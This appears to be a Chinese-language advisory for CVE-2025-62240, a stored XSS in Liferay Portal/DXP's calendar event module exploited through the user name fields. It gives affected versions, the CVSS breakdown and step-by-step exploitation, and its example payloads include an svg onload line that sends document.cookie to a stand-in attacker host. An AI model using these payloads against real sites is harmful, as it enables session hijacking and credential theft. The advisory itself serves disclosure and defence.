CVE-2025-62240CVE-2025-62240 是 Liferay Portal 和 Liferay DXP 产品中存在的多个跨站脚本(XSS)漏洞。该漏洞存在于日历(Calendar)事件功能模块中,允许远程攻击者通过在用户的姓名字段(包括 First Name 名字、Middle Name 中间名和 Last Name 姓氏)中注入特制的恶意脚本来执行任意 Web 脚本或 HTML 代码。
该漏洞影响范围广泛,涵盖 Liferay Portal 7.4.3.35 至 7.4.3.111 版本,以及 Liferay DXP 的多个版本线,包括 2023.Q4.0 至 2023.Q4.5、2023.Q3.1 至 2023.Q3.7、7.4 update 35 至 update 92 和 7.3 update 25 至 update 36。
根据 CVSS 3.1 评分标准,该漏洞评分为 5.4 分,属于中危级别。攻击者需要具备低权限(PR:L)并需要用户交互(UI:R)才能成功利用漏洞。攻击向量为网络(AV:N),攻击复杂度低(AC:L)。成功利用后,攻击者可以在受害者的浏览器上下文中执行恶意脚本,可能导致会话劫持、敏感信息窃取、钓鱼攻击或恶意操作等后果。该漏洞由 [email protected] 报告,并于 2025 年 10 月 9 日公开披露。
该漏洞的核心原理在于 Liferay Portal/DXP 的日历事件模块在处理用户姓名信息时,未对用户的 First Name(名字)、Middle Name(中间名)和 Last Name(姓氏)字段进行充分的输入验证和输出编码。当这些姓名数据被嵌入到日历事件的展示页面中时,攻击者注入的恶意脚本或 HTML 代码会被浏览器解析执行。
技术利用方式如下:
1. 攻击者首先需要拥有 Liferay 系统的合法账户(低权限即可)。
2. 攻击者在用户个人资料中将 First Name、Middle Name 或 Last Name 字段修改为包含恶意 JavaScript 或 HTML 标签的 payload,例如:
- `<script>alert(document.cookie)</script>`
- `<img src=x onerror=alert(1)>`
- `<svg onload=fetch('https://attacker.com/?c='+document.cookie)>`
3. 当其他用户(包括管理员)查看包含该用户信息的日历事件时,恶意脚本将在受害者浏览器中执行。
4. 由于漏洞涉及作用域变更(S:C),脚本可能影响到日历组件之外的区域,扩大攻击影响范围。
该漏洞属于存储型 XSS(Stored XSS),因为恶意 payload 存储在用户资料中,每次日历事件被查看时都会触发执行,具有持久性和广泛传播性。